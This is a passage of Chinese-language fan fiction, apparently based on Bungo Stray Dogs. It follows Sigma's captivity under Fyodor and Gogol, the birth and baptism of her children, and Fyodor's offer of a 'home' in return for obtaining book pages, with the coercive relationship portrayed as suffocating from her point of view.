不是挣脱一切的肆意妄为,而是甘愿为一个人,主动停留下来的自由。 是明知会被牵绊,会被牵挂,却依然满心欢喜地,将那道名为“西格玛”的枷锁,亲手戴在自己心上的自由。 是的,果戈里想,是的,他喜欢西格玛。 这个念头像破土的新芽,顶着过往的执念,倔强地钻出了土壤。 他的目光缓缓下移,落在西格玛微微隆起的小腹上。 那里,藏着一个尚未出世的孩子。一个被母亲试图扼杀,却又顽强存活下来的孩子。 那是他和西格玛的孩子。 等这个孩子出生,或许西格玛会像在意米哈伊尔那样,在意这个流着她血脉的小生命吧? 果戈里心想。 到那时,他和西格玛之间,会不会变得不一样? 会不会不再是猎人与猎物的关系,而是多了一层名为“家人”的羁绊? 他想起曾见过的候鸟,迁徙时总是成群结队,带着幼鸟一同飞向温暖的远方。 那种叽叽喳喳的、吵吵闹闹的同行,让他生出一丝莫名的向往。 就在这一刻,果戈里心底那点漫不经心的趣味,忽然沉淀下来。 他第一次真切地感受到,自己即将成为一个父亲。 —————— 水汽氤氲的浴室里,暖光漫过鎏金雕花的浴缸边缘,温热的水漫过西格玛的肩颈,将她的四肢泡得发软。 那不是放松的绵软,是连抬手都做不到的、力气被抽干后的虚浮。 她后背紧贴着费奥多尔的胸膛,冷汗混着水汽在两人肌肤间漫开,相贴的皮肤烫得惊人,却像一张密不透风的网,将呼吸与心跳都困在了方寸之间。 男人的手臂从她身侧环过来,骨节分明的手指捏着一方柔软的白巾,正慢条斯理地擦拭她的指尖。 动作很轻,指腹擦过她指甲缝里的薄尘,再顺着指节一寸寸往上,带起一阵微痒的触感,可西格玛连蜷一下手指的力气都没有。 她的手被他握着,五指微微张着,像橱窗里陈列的人偶的手,指尖泛着水光,苍白得近乎透明。 “这里还沾着一点灰尘。” 费奥多尔的声音很低,贴着她的耳廓响起,气息带着沐浴露的冷香,像蛇信子舔过皮肤。 他的拇指摩挲着她手腕内侧的皮肤,那里的血管细得像一根青色的丝线,“西格玛总是这么不小心。” 没有回应。 西格玛的头歪着,靠在他的肩上,眼睑垂着,长长的睫毛湿漉漉的,却连颤都不颤一下。 羞耻这种情绪,早在无数次这样的相处里被磨成了灰。 从最初的绷紧身体、眼神躲闪,到现在的麻木顺从,她早就习惯了在他面前袒露身体,就像习惯了他指尖的温度,习惯了他无处不在的掌控。 水纹轻轻晃动,费奥多尔的手滑过她的小臂,再到肩头,动作依旧慢条斯理,带着一种近乎苛刻的细致。 他擦过她的锁骨,那里的皮肤薄得能看见底下的血管,像瓷器上描的青线。 西格玛的身体微微晃了晃,不是抗拒,是水的浮力带着她动了一下,随即又被费奥多尔的手臂稳稳地圈住。 “别动。”他说,语气平淡,却带着不容置疑的力道。 西格玛便真的不动了,像一尊被线牵着的人偶,连呼吸都放得极轻,生怕惊扰了身后的人。 洗完澡的时候,费奥多尔抱着她从浴缸里出来。 她的身体轻飘飘的,像一片羽毛,任由他将她放在铺着绒毯的床上。 他取过一条干燥的浴巾,宽大的布料裹住她的身体,然后开始擦拭她的头发。 毛巾擦过发丝的声音很轻,他的手指穿过她的发间,擦干那些湿漉漉的水珠,动作依旧轻柔,却带着一种不容反抗的掌控。 接着,他的手落在她的肩上,浴巾滑落下来,露出她莹白的肌肤。 莹润的肌肤就像玉,像最细腻的白瓷,泛着温润的光泽,却又脆弱得仿佛一碰就会碎。 费奥多尔的指腹擦过她的肩头,顺着脊背滑下去,带起一阵细微的战栗。 西格玛没有躲,也没有抬头,她的下巴抵着膝盖,双臂环着腿,像一只被收起翅膀的鸟。 任由他摆弄自己的躯体,就像是一具真正的人偶。 他擦过她的手臂,擦过她的腰腹,擦过她的脚踝,每一寸皮肤都被他仔细地擦拭过,不留一点水渍。 费奥多尔的目光落在她的肌肤上,像在欣赏一件稀世的珍宝,又像在审视一件属于自己的物品。 西格玛垂着眼,看着自己的脚尖。 那片皮肤苍白得近乎透明,细密的血管像蛛网般蜷曲着,在皮下若隐隐现。 费奥多尔的手握住她的脚踝,毛巾擦过她的脚背,动作轻得像羽毛拂过。 “好了。”他说。 西格玛没有说话,依旧保持着那个姿势。 费奥多尔蹲下来,指尖抬起她的下巴,迫使她看着自己。 他的紫眸里映着她的影子,映着她麻木的、没有一丝波澜的眼神。 “真乖。”他笑了,指尖轻轻摩挲着她的脸颊,“我的西格玛,永远都是这么乖。” 西格玛的睫毛动了动,却没有落下一滴泪。 她早就不会哭了。 就像她早就习惯了这样的相处,习惯了做他的人偶,习惯了被他掌控。 习惯这一切,直到灵魂都变得麻木。 就像真正的人偶。 —————— 西格玛的身体恢复得很快,像是被强行注入的生机,在干涸的躯壳里勉强撑出几分鲜活。 可她心里清楚,这具躯体从来由不得自己。 它可以属于费奥多尔,可以属于果戈里,唯独不可能属于她自己。 漫漫长夜,西格玛时常在费奥多尔身侧醒来。 嗅觉神经会比意识先苏醒,她闻到的是他身上的味道,冷冽的雪松香混着旧书页的气息,清清淡淡,却带着蚀骨的压迫感。 然后,铺天盖地的恐惧才会姗姗来迟,攥紧她的心脏,让她连呼吸都不敢大声。 他就躺在离她咫尺的地方,呼吸均匀,侧脸在月光下显得格外柔和。 可西格玛却觉得,自己像是被毒蛇盯上的猎物,一动不敢动,只能僵着身子,在死寂的黑暗里熬到天亮。 偶尔,果戈里会赖在她的床上不走,吵着闹着要和她挤在一处,说要陪着她和腹中的孩子。 夜深人静时,西格玛也会在他的气息里猛然惊醒。 那是与费奥多尔截然不同的味道,带着烟火气的焦糖甜香,混着他斗篷上沾染的尘埃味,鲜活又张扬,像燃烧到极致的火焰。 可这甜腻的气息同样令人感到恐惧。 他的疯癫藏在温柔的笑意里,他的偏执裹在亲昵的举动中,西格玛总能从那股甜香里,嗅到一丝疯狂的、不容置喙的占有欲。 她闭着眼,听着身边人平稳的呼吸,和在费奥多尔身边时如出一辙的窒息感,密密麻麻地漫上来,将她包裹得密不透风。 费奥多尔也好,果戈里也罢,都是一样的。 西格玛想,没有什么不同,再温暖的怀抱,都如同冰窟一样刺骨。 再看似温柔的举动,底色都是不容反抗的掠夺与掌控。 她像一件被陈列的物品,被他们轮流注视、触碰、拥有,却从未被真正尊重过。 这样的日子里,唯一能让西格玛暂时忘却自身处境的,是米哈伊尔。 在那些她连起身的力气都没有的日子里,米哈伊尔全由费奥多尔照看着。 谁也没能料到,这个惯于将人心玩弄于股掌的男人,竟然意外地称职。 或许对于费奥多尔来说,只要他想做的事,那他就一定能做好。 他会抱着米哈伊尔坐在床边,耐心地调好奶粉的温度,看着小家伙咂咂嘴吮吸的模样,眼底难得褪去几分冷冽的算计。 他会亲自给米哈伊尔洗澡,指尖轻柔地拂过婴儿细腻的肌肤,动作慢得不像他。 甚至在深夜,米哈伊尔哭闹不休时,他还会低声念起晦涩的故事,声音被夜色揉得柔软,像古老的魔咒,哄得小家伙沉沉睡去。 果戈里也像是换了副模样,不再整日疯疯癫癫地捉弄她。 他不知从哪里搜罗来成堆的婴儿用具,小衣服、奶瓶、摇篮摇铃,花花绿绿堆了半间屋子,男孩的赛车模型、女孩的毛绒玩偶应有尽有,全是他凭着喜好一股脑搬回来的。 他会蹲在床边,对着西格玛隆起的小腹絮絮叨叨,说些没头没尾的话,像个真正期待孩子降生的父亲。 西格玛只是沉默地看着,指尖一遍遍摩挲着小腹。 那里的隆起日渐明显,皮肤被撑得有些发紧。 这次怀孕,她的孕反症状极为严重。 胃其实是情绪器官。 刺鼻的消毒水味,窗外掠过的飞鸟影子,甚至是费奥多尔翻书时的沙沙声响,都能轻易勾起她翻江倒海的恶心。 西格玛常常踉跄着扑到马桶边,蜷缩着身子,把胃里的东西吐得一干二净。 酸水裹挟着未消化的残渣,灼烧着她的喉咙与食道,有水滴顺着苍白的脸颊滑落,不知是冷汗还是泪水,滴进满地狼藉里。 她咳得撕心裂肺,仿佛要将五脏六腑都咳出来,每一次收缩都牵扯着腹部的坠痛,与胃里的绞痛交织在一起。 那些积压在心底的绝望、麻木与怨怼,那些被强行压抑的嘶吼与抗拒,都借着这生理性的呕吐,以一种扭曲的方式倾泻而出—— 吐到最后,胃里空空如也,只剩下干涩的干呕,每一次抽动都带着钻心的疼。 西格玛脱力般瘫倒在地,后背贴着冰凉的瓷砖,寒意顺着衣衫侵入骨髓,与浑身的冷汗交织,让她不住地发抖。 她泪眼朦胧地望着天花板,视线模糊成一片浑浊的水光,一切都是那样的模糊。 浑身的力气都被抽干了,连抬手擦眼泪的劲都没有,可心底却升起一种病态的、近乎残忍的轻松。 仿佛卸下了千斤重担,又像是灵魂被抽空后,只剩下一具麻木的躯壳在苟延残喘。 这种短暂的“解脱”终究是镜花水月。 现实就像是把呕吐物再装进胃中。 西格玛变得愈发沉默。 她不再执着于寻死,却也谈不上活着。 只是想着,能走一步,便往前走一步吧,走到哪一步算哪一步,走到尽头,或许就能解脱了。 肚子逐渐大起来之后,西格玛不再呕吐。 那些无处遁形的情绪,再也找不到宣泄的出口,只能被她死死地累积在心里,沉甸甸地压着,像一块浸了水的海绵,吸满了苦涩的潮水。 有时,西格玛甚至会恶毒地期盼,腹中这个孩子,会是个死胎。 这样,TA就不用来这世间走一遭,不用陪着她,一同困在这不见天日的地狱里。 这种阴暗的念头,却在胎动出现的那一刻,变得愈发复杂。 那天午后,西格玛正靠在床头发呆,忽然感觉到小腹传来一阵极轻的蠕动,像是小鱼甩动尾巴,轻轻撞了撞她的掌心。 那触感微弱却清晰,带着鲜活的生命力,瞬间击溃了她所有的防备。 西格玛浑身一颤,指尖僵在原地,眼眶不受控制地发热。 守在一旁的果戈里立刻察觉到了她的异样,他几乎是扑过来的,不顾她的抗拒,将耳朵紧紧贴在她的小腹上。 温热的呼吸拂过她的皮肤,他屏息听了许久,忽然低低地笑出声,声音里满是雀跃的欢喜,像个得到糖果的孩子。 “真是个调皮的孩子。”他轻轻说道,指尖小心翼翼地碰了碰西格玛的小腹,眼底的疯癫被温柔取代,漾着从未有过的光彩,“刚刚踢我了呢。” 与此同时,米哈伊尔也在悄然长大。 八个月大时,小家伙已经学着在地毯上匍匐爬行了。 柔软的地毯铺满了房间的一角,西格玛坐在地毯的一头,指尖轻轻拍着地面,费奥多尔则坐在另一头,手里捏着一只拨浪鼓,轻轻晃动出细碎的声响。 两人一同低唤着:“米莎,过来呀。” 米哈伊尔歪着小脑袋,圆溜溜的眼睛在两人之间转了转,犹豫了几秒,先是手脚并用地朝着费奥多尔的方向爬了半截。 小手刚要碰到拨浪鼓,却又像是忽然改了主意,调转方向,咿咿呀呀地朝着西格玛的怀里扑去。 西格玛的心瞬间软成一滩水,她伸出手稳稳接住小家伙,将他抱进怀里,神色是从未有过的柔软。 费奥多尔看着这一幕,缓步走过来,俯身靠近,指尖轻轻抚摸着米哈伊尔柔软的脸颊。 小家伙像是并不怕他,反而亲昵地蹭了蹭他微凉的指尖,发出满足的咿呀声。 费奥多尔微微一怔,眼底掠过一丝极淡的暖意,他低声笑道:“米莎喜欢爸爸呢。” “米莎是个好孩子。”西格玛抱着怀中温热的小身躯,声音轻得像一片羽毛。 费奥多尔轻笑出声,语气里带着几分不易察觉的温柔:“是啊,我们的好孩子。” 西格玛没有接话,只是垂眸注视着怀中小家伙。 视线落在他那双与费奥多尔如出一辙的紫罗兰色眼眸上时,眼底掠过些许复杂的情绪,像被风吹皱的湖面,泛起一圈圈无声的涟漪。 日子一天天过去,米哈伊尔越长越大,也越来越黏西格玛。 西格玛就用背带将他背在胸前,一边处理堆积的文件,一边照看着他。 感觉到疲惫的时候,只要低头看见小家伙安安稳稳的睡颜,睫毛像两把小扇子轻轻颤动,她紧绷的神经便会松弛几分,心底漫过一丝微不足道的慰藉。 西格玛握着钢笔在纸上书写,笔尖划过纸张发出沙沙的声响。 米哈伊尔趴在她的胸口,好奇地睁着大眼睛,盯着纸上的字迹看。 “妈妈在工作哦。”西格玛察觉到他的目光,侧过头,轻轻蹭了蹭他柔软的发顶,声音里带着浅浅的笑意。 “m……妈……妈妈。” 稚嫩的音节忽然从米哈伊尔的小嘴里蹦出来,含糊不清,却又清晰得令人心悸。 西格玛的笔瞬间顿住,墨水在纸上晕开一小团墨渍。 她猛地低下头,不敢置信地看着怀中小家伙:“呀,米莎,你刚刚是说妈妈了吗?再说一次好不好?” 米哈伊尔眨着那双紫水晶般剔透的眼眸,像是听懂了她的话,又奶声奶气地喊了一声:“妈妈。” 滚烫的泪水瞬间涌西格玛的眼眶,她再也忍不住,低头亲了亲米哈伊尔的小脸。 温热的泪滴落在小家伙的皮肤上,惹得他咯咯地笑起来。 这件事很快就传到了费奥多尔和果戈里的耳朵里。 费奥多尔主动揽过了照顾米哈伊尔的差事,抱着他在房间里踱步,一遍遍耐心地教他喊“爸爸”。 果戈里则在一旁捣乱,一会儿用斗篷逗得小家伙哈哈大笑,一会儿又凑过来抢着抱,闹得满屋子都是孩子气的咿呀声。 没过多久,在费奥多尔的悉心引导下,米哈伊尔脆生生地喊出了“爸爸”。 听到这个称呼的瞬间,费奥多尔握着米哈伊尔小手的指尖微微收紧。 他低头看着怀中小家伙,唇角勾起一抹极淡却真切的笑意,眼底的冷冽仿佛被这声稚嫩的呼唤,融化了一角。 米哈伊尔满一周岁那天,费奥多尔特意为他准备了一场小小的生日宴。 果戈里难得收起了疯癫的性子,亲手布置了场景,五颜六色的气球挂满墙壁,彩带缠绕着桌椅,温馨得不像这个冰冷 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费奥多尔准备的礼物是一支精致的银质小勺子,刻着繁复的花纹。 果戈里则抱来一大堆稀奇古怪的玩意儿,从会跑的小火车到毛茸茸的布偶熊,堆了满满一桌子。 生日宴的最后,所有人都坐在地毯上。 米哈伊尔坐在中间,忽然晃悠悠地撑着地毯,慢慢站了起来。 西格玛的心瞬间提到了嗓子眼,她连忙站起身,小心翼翼地伸出手,生怕他跌倒:“米莎,慢慢来。” 米哈伊尔晃了晃小小的身子,站稳了脚跟,然后迈着蹒跚的步子,一步一步朝着西格玛的方向走来。 步伐缓慢又稳妥,像踩在所有人的心尖上。 终于,他扑进了西格玛的怀里,软软的小身子撞得她心口发烫。 西格玛紧紧抱着他,声音哽咽,却又带着止不住的笑意:“真棒啊,米莎。” 米哈伊尔越长越大,跌跌撞撞地学会了行走,西格玛的腹部也愈发高高隆起。 和怀米哈伊尔时一样,她依旧没能熬到足月。 在腹中孕育了七个月,圣诞夜的当天,熟悉又陌生的抽痛感传来。 西格玛知道,她这是要生了。 有过前一次生产的经历,她少了几分初时的惶恐,多了些麻木的隐忍。 在助产士沉稳的引导,西格玛咬着牙,拼尽最后一丝力气,终于听见了婴儿响亮的啼哭。 是个女儿。 小小的一团,被裹在柔软的襁褓里,有着和果戈里如出一辙的银色胎发,还有一双澄澈的翠绿色眼眸,像盛着两片初春的湖。 西格玛颤抖着伸出手,将女儿抱进怀里。 小家伙很乖,哭过几声就安静下来,温热的呼吸轻轻拂过她的掌心,软得像一团云。 看着女儿稚嫩的、皱巴巴的小脸,西格玛的眼泪毫无预兆地涌了出来,滚烫地砸在襁褓的布料上。 她曾无数次在深夜里祈祷,祈祷这个孩子是个死胎,祈祷她不必来这世间,不必陪着自己一同困在这名为“囚笼”的地狱里。 可此刻,她就安安稳稳地躺在自己怀里,那么软,那么小。 “……她叫什么名字?” 西格玛看着怀中的女儿稚嫩的小脸,轻轻地问道。 她从来没有和果戈里商讨孩子的名字,也从来没有主动问起过。 在她看来,自己连做母亲的资格都没有,又哪里有给孩子命名的权利。 果戈里站在床边,一直安静地看着她怀里的女儿,平日里疯癫张扬的神色尽数褪去。 他摘下了右脸的面具,露出了和女儿一模一样的翠绿色眼眸。 眼底是从未有过的温柔,连声音都放得极轻,像是怕惊扰了襁褓里的小生命。 他为这个孩子想过太多名字,从那些华丽繁复的诗篇里摘选,从那些荒诞不羁的梦境里拾取,却始终觉得少了些什么。 直到此刻,看着窗外飘落的雪花,听着远处隐约的钟声,才忽然有了答案。 “娜塔莉娅·尼古拉耶芙娜·果戈里-亚诺夫斯基卡娅。” 果戈里俯身,指尖小心翼翼地碰了碰婴儿柔软的脸颊,唇角弯起一抹浅淡的笑意,“我们可爱的小娜塔莎。” “娜塔莉娅”的含义是诞生,而小名“娜塔莎”的含义是圣诞。 他的女儿诞生在圣诞夜,这个承载着期许与安宁的夜晚,没有什么名字,比这个更适合了。 费奥多尔站在一旁,静静看着襁褓里那个皱巴巴的小生命,看着她那头标志性的银色胎发,眼底掠过一丝极淡的笑意。 米莎出生的时候可爱多了。 费奥多尔回想起了米哈伊尔刚出生时的样子。 小家伙因为早产而孱弱,比同样早产的妹妹还要瘦小几分,小小的身躯裹在宽大的襁褓里。 那时他一头浓密的黑色胎发,绒绒地贴在额前,像初生雏鸟的绒毛,和他如出一辙的紫罗兰色眼眸,蒙着一层薄薄的蓝膜。 如今一晃便是一年。 费奥多尔低头看向身旁扒着床沿、好奇张望的米哈伊尔,小家伙早已褪去了早产时的孱弱,变得结实健康,小小的身子透着蓬勃的生命力。 曾经短短的黑发长了不少,柔软地垂在耳侧,阳光下泛着细腻的光泽,眼眸上的蓝膜也早已褪去,露出了纯粹而明亮的紫罗兰色,与他的眼眸几乎别无二致,连眼尾微微上挑的弧度都如出一辙,模样越发与他相似。 费奥多尔弯腰,伸手将米哈伊尔抱了起来,托着小家伙的腋下,让他能更清楚地看见西格玛怀中的婴儿。 “米莎,看,是妹妹哦。” 费奥多尔的声音很轻,带着一种近乎温和的语调,指尖还轻轻点了点米哈伊尔的鼻尖。 果戈里闻言,只是侧过头,轻飘飘地瞥了他一眼。 和娜塔莉娅一模一样的碧绿色眼眸里,什么情绪都没有,既没有平日里的疯癫戏谑,也没有分毫的不满。 果戈里没说什么,很快便转回头,目光重新落回西格玛怀中的女儿身上,像是被磁石牢牢吸住一般,一瞬不瞬。 银白的发丝垂落下来,遮住了他的眉眼,只留一只微微上扬的唇角,弧度软得不像话。 —————— 还是那座熟悉的东正教堂,尖顶刺破铅灰色的云层,连圣坛前神父的脸,都和记忆里别无二致。 西格玛抱着襁褓里的娜塔莉娅,脚步轻得像踩在云絮上,牵着她手的人,却换成了果戈里。 果戈里身着黑色大衣,身姿挺拔利落,他带着薄茧的手,温热地牵住了西格玛。 他没有戴右眼的面具,翠绿色的右眼坦露在外,银色左眼上的伤疤清晰可见,眸底的十字伤痕像凝固的裂痕。 俊美的面容上,勾起一抹近乎温柔的弧度。 费奥多尔就走在身侧,一身剪裁利落的黑色礼服,衬得肤色愈发苍白。 他是娜塔莉娅的教父,这是他和果戈里早就安排好的事。 第二次来到东正教堂,西格玛依旧不知道这场四十天洗礼仪式究竟有什么意义,也从没想过要去问。 于她而言,这不过是又一次身不由己的顺从,像提线木偶跟着丝线的牵引,一步步走向早已划定的轨迹。 西格玛只是将抱着襁褓的手又紧了紧,目光落在女儿恬静的睡颜上,长长的睫毛像蝶翼般覆着眼睑,粉雕玉琢的小脸透着婴儿特有的红润。 这是她的女儿,她可爱的孩子。 仪式在神父低沉的诵经声中开始了。 身着金边黑袍的神父手捧圣水碗,先用圣水擦拭双手,而后捻起一点澄澈的圣水,依次点在娜塔莉娅的额头、胸口与双肩。 这是东正教洗礼的“敷礼”,象征着洗净原罪,引孩子归于主的荣光。 冰凉的圣水触到婴儿细嫩的皮肤,瞬间惊醒了熟睡的小家伙。 “哇——” 清亮的哭声骤然响起,在肃穆的教堂里格外突兀。 娜塔莉娅攥着小拳头,小脸涨得通红,哭得撕心裂肺。 西格玛的心猛地揪紧,立刻低下头,用指腹轻轻蹭着女儿的脸颊,另一只手一下下拍打着襁褓,声音放得极柔:“乖,娜塔莎,妈妈在呢……” 她的声音带着不易察觉的颤抖,眼底满是心疼。 这圣水太凉了,凉得像费奥多尔眼底的寒意,像那些无处可逃的算计与枷锁。 一旁的果戈里轻笑出声,摊了摊手,黑色外套的下摆扫过地面,语气里带着几分柔和的感慨:“瞧瞧,娜塔莎真是个活泼的孩子。” 西格玛没理会他,只是更紧地抱着女儿,目光掠过站在圣坛另一侧的费奥多尔。 他一身剪裁得体的黑色礼服,正从神父手中接过一支白蜡烛。 按照东正教的习俗,教父要在仪式中接过象征基督之光的白蜡烛,守护新生儿完成入教的全过程。 烛火映亮费奥多尔苍白的脸庞,火苗跳跃在他紫罗兰色的眼眸里,漾着浅淡的笑意,温柔得像一潭深不见底的湖水。 等到神父诵完祷文,宣布娜塔莉娅正式成为东正教徒时,费奥多尔才俯身靠近襁褓。 费奥多尔将早己准备好一枚银质十字架拿出,项链细细的,泛着冷冽的光泽。 他小心翼翼地将十字架挂在娜塔莉娅的脖子上,冰凉的金属贴着婴儿的肌肤,像是一道无形的烙印。 西格玛看着那枚十字架,眼底掠过一丝晦暗。 又是一个束缚。 从果戈里的十字架到费奥多尔的十字架,她和她的孩子,终究还是逃不过眼前之人的掌控。 这些看似美好的馈赠,不过是将她们牢牢拴在棋盘上的枷锁,一步一步,引着她们走向无法预知的未来。 娜塔莉娅的哭声渐渐小了,只是还在抽噎着,小脑袋蹭着西格玛的胸口。 西格玛低下头,在女儿的额头上轻轻落下一个吻,眼底的心疼与无奈交织在一起。 她知道,这场洗礼不是救赎,只是又一场算计的开始。 可西格玛别无选择,只能抱着怀里的孩子,在这条布满荆棘的路上,一步步走下去。 —————— 费奥多尔和果戈里的计划始终在暗处悄然推进,西格玛一直都知道。 他们两人有时会毫无预兆地消失,像融入夜色的幽灵,一连数日不见踪影,又会在某个清晨或深夜突然折返,身上带着未散尽的风雪气与若有似无的血腥味。 他们去了哪里,做了些什么见不得光的事?西格玛从来不问,也不敢问。 她只是守着这间空旷得近乎死寂的屋子,守着米哈伊尔和娜塔莉娅,将那些翻涌的恐惧与不安,尽数压进心底最深的角落。 她无比珍惜着和两个孩子相处的时光。 午后的阳光透过窗棂,落在地毯上,米哈伊尔会摇摇晃晃地抱着绘本扑进她怀里,娜塔莉娅则在摇篮里发出咿咿呀呀的软声,银白的胎发在光线下泛着细碎的光泽。 这样的时刻,像偷来的蜜糖,短暂得让人心慌。 西格玛清楚,自己终究只是一枚棋子。 费奥多尔的棋盘上,从没有永恒的存在,只有随时可以舍弃的筹码。 或许哪一天,当她的利用价值耗尽,就会被毫不留情地抛弃,或是在无声无息中死去。 她连自己都护不住,又怎能庇护这两个懵懂的孩子? 所以,她只能全心全意地爱着他们,把每一个和他们相伴的日子,都当做最后一天来珍惜。 窗外风雪早已停歇,澄澈的阳光穿透云层,淌过窗棂,在地板上织出一片暖融融的光斑。 费奥多尔正抱着米哈伊尔坐在沙发上,指尖轻柔地拂过绘本上的插画,语调温淡地念着上面的字句。 米哈伊尔趴在他肩头,紫罗兰色的眼眸眨呀眨,渐渐泛起了困意。 费奥多尔垂着眼,看着怀中小家伙柔软的发顶,唇角噙着一抹浅淡的笑意,眼底却一片冰寒。 计划进行得一切顺利,是时候走下一步了。 他的目光缓缓抬起来,落在不远处正伏案书写文件的西格玛身上。 她的背脊绷得笔直,侧脸苍白得近乎透明,阳光勾勒出她纤细的轮廓,像一尊易碎的瓷像。 天空赌场,会是他准备给西格玛的礼物。 那个充斥着金钱与欲望的牢笼,在他眼里,却是能牢牢锁住她的绝佳囚笼。 他太了解西格玛了,这个被“书”创造出来的、一生都在寻找归属的灵魂,根本无法抗拒这样的诱惑。 费奥多尔的目光愈发幽然,像深不见底的寒潭。 等到米哈伊尔彻底玩累了,在他怀里发出均匀的呼呼吸声,费奥多尔才小心翼翼地将他放进摇篮,动作轻柔得不像那个惯于操纵人心的魔人。 他缓步走到西格玛的桌前,脚步声轻得像羽毛拂过地面。 西格玛握着钢笔的手微微一顿,没有抬头。 “还记得我之前承诺给你的吗?”费奥多尔的声音很轻,带着一种蛊惑人心的磁性,像毒蛇吐着信子,“我会给你一个真正属于你的地方,一个家。” 他俯身,凑近她的耳畔,尾音带着一丝若有似无的笑意:“你将会是那里真正的主人。” 顿了顿,他才慢悠悠地补上后半句,像抛出诱饵的猎人,看着猎物一步步踏入陷阱:“前提是,你要替我拿到书页。” 西格玛握着钢笔的指尖骤然收紧,指节泛出青白。 果然如此。 她早就知道的,费奥多尔的恩惠从不是无偿的,每一份馈赠的背后,都标好了足以让她粉身碎骨的价码。 可即便如此,当“家”这个字眼落在她的心上时,还是像一颗投入死水的石子,激起了无法抑制的涟漪。 西格玛抬起头,眼底掠过一丝挣扎,却又迅速被渴望淹没。 无论如何,她都掩盖不了自己对一个真正的家的渴望。那是刻在她骨血里的、穷尽一生都无法磨灭的执念。 “好。” 西格玛的声音很轻,带着一丝不易察觉的颤抖,却又无比清晰。 一个字,像投入寒潭的石子,瞬间击碎了屋内的寂静。 费奥多尔看着她,看着她眼底翻涌的挣扎与渴望,看着她明明知晓是陷阱,却还是甘愿踏入的模样。 他唇角的弧度缓缓拉大,那抹笑意极淡,却又带着一种近乎餍足的满意,像终于等到猎物咬钩的猎人,眼底的冰寒尽数化作了胜券在握的温柔。 他伸出手,指尖轻轻拂过西格玛的发顶,像在抚摸一只温顺的羔羊。 “我就知道,”他的声音依旧温淡,却裹着丝丝缕缕的蛊惑,“你不会让我失望的,西格玛。” 那笑意落在西格玛的眼里,却像淬了冰的刀锋,让她浑身发冷。 西格玛知道,从自己说出那个“好”字的瞬间起,她就再也没有回头路了。 她终究还是没能逃过他的掌控,终究还是为了那个虚无缥缈的“家”,将自己和孩子们,都推向了更深的深渊。 费奥多尔的指尖还停留在她的发间,笑意愈发真切,眼底却一片清明。 他的棋子,从来都不会偏离他预设的轨道。 10. 开始 窗棂漏进细碎的金辉,落在铺着绒毯的地板上。 西格玛坐在软垫上,膝头躺着睡得安稳的米哈伊尔。 米哈伊尔已经一岁两个半月大了,黑发柔软地贴在额角,长而密的睫羽垂着,紫罗兰色的眼眸藏在梦里,偶尔无意识地蹭蹭她的掌心。 西格玛的指尖轻轻划过孩子温热的脸颊,动作轻得像怕惊扰了一只蝴蝶,另一只手则拈着针线,在素色的绒布上穿针引线。 脚边的摇篮里,娜塔莉娅正不安分地蹬着小腿,小小的婴孩有着一头柔软的银发,像撒了满身的月光,翠绿色的眸子湿漉漉的,一瞧见西格玛的身影,便瘪着嘴发出细弱的哼唧。 西格玛连忙放下针线,俯身将她抱进怀里,指尖挠了挠她小巧的下巴。 小家伙立刻破涕为笑,粉嫩嫩的脸颊鼓起来,发出“咯咯”的清脆声响,小手攥着西格玛的衣角不放,那力道软乎乎的,却攥得西格玛心口发暖。 西格玛轻柔的哄着,直到娜塔莉娅安然入睡。 西格玛把娜塔莉娅放进摇篮,捏了捏被脚,又俯身替她掖好被角,指尖不经意擦过孩子细软的银发,心底漫过一片柔软的疼。 她低头,继续缝着那只玩偶熊。 针脚细密,一针一线都绣的极其仔细。 她知道自己很快就要启程去日本,前路漫漫,归期难料,她希望这只小熊能代替自己,陪着娜塔莉娅度过没有她的日子。 娜塔莉娅和米哈伊尔不同,没有见到她,总是会嚎啕大哭,哭得小脸涨红,怎么哄都哄不好,她不敢想自己走后,这小家伙要哭多少回。 米哈伊尔醒了,揉着眼睛坐起身,长长的睫毛扑闪了两下,紫罗兰色的眼眸还蒙着一层睡意。 他看见妹妹在摇篮里睡得正香,便也凑过来,伸出小小的手,轻轻拍了拍娜塔莉娅的襁褓,动作笨拙又温柔,紫罗兰色的眼眸里,是孩童独有的纯粹与软和。 空气随着空间的扭曲泛起一丝涟漪。 西格玛知道,是果戈里来了。 她缝制玩偶的手没有停止,只是指尖的力道,悄然重了几分。 米哈伊尔显然很熟悉果戈里的气息,一点都没有害怕,反而咧开嘴,露出带着几颗小乳牙的笑,小短腿一蹬一蹬地,朝着果戈里的方向伸。 果戈里笑了笑,唇边的弧度卸去了平日里的疯癫,带着罕见的温柔,他俯下身,指尖轻轻摸了摸米哈伊尔的小脑袋。 “娜塔莎还在睡呢。” 他看着摇篮中的女儿,声音放得极轻,像是怕惊醒一朵含苞的花。 “嗯,刚刚我哄她睡了。” 提到孩子,西格玛没忍住多说了几句,原本她并不想和果戈里说话。 果戈里轻轻地从摇篮车里抱出女儿。 西格玛看着他的动作,握着针线的手紧了紧。 果戈里抱孩子的手法意外稳妥,他一手托着婴孩的脖颈,一手环住她的腰,动作轻柔得不像话。 娜塔莉娅在他怀里扭了扭,就睁开了碧绿色的眼眸,非但没哭,反而伸出小手,抓着他垂落的发丝玩闹。 米哈伊尔好奇地看着,小短腿挪了挪,靠到果戈里的腿边,仰头望着他怀里的妹妹,紫罗兰色的眼睛亮晶晶的。 西格玛看着眼前的三人,指尖轻轻抚过尚未缝完的玩偶熊。 “给娜塔莎缝的吗?” 果戈里的声音轻飘飘地落进空气里,带着几分漫不经心,又藏着不易察觉的柔和。 西格玛沉默了一瞬,指尖的针线顿了顿,目光落在摇篮边那团素色的绒布上,声音轻得像羽毛拂过水面:“嗯。不知道什么时候回来,娜塔莉娅没看到我,总会哭。” 她的尾音轻轻发颤,带着自己都未曾察觉的酸涩。 果戈里显然知道他们之后会去往何方,知道那趟日本之行藏着怎样叵测的风浪。 他没再说话,只是捧着怀中正玩弄着自己发尾的女儿,缓缓褪去了手上的棕色手套。 露出的手指骨节分明,却意外地温润,果戈里用指腹轻轻抚摸着女儿柔软的脸颊,动作轻得仿佛在触碰易碎的琉璃。 娜塔莉娅和他长得极像,那对翠绿色的眼眸就像是一汪盛着春光的春水,澄澈得能映出窗外的流云与金辉。 眼尾微微上挑的弧度,更是与他如出一辙,只是少了那份漫不经心的疯癫,多了婴孩独有的纯净与软嫩。 果戈里看着那双眼睛,原本总带着几分桀骜的眉眼,不自觉地便柔和下来,连眼底的光,都跟着软成了一滩水。 他微微俯身,用鼻尖蹭了蹭女儿细腻的额头,惹得怀中的娜塔莉娅发出阵阵稚嫩的咿呀,翠绿色的眼眸弯成了月牙,笑得格外开心。 “真舍不得你呀,我的小娜塔莎。” 果戈里的声音放得极低,像是说给怀里的孩子听,又像是说给漫进来的风听。 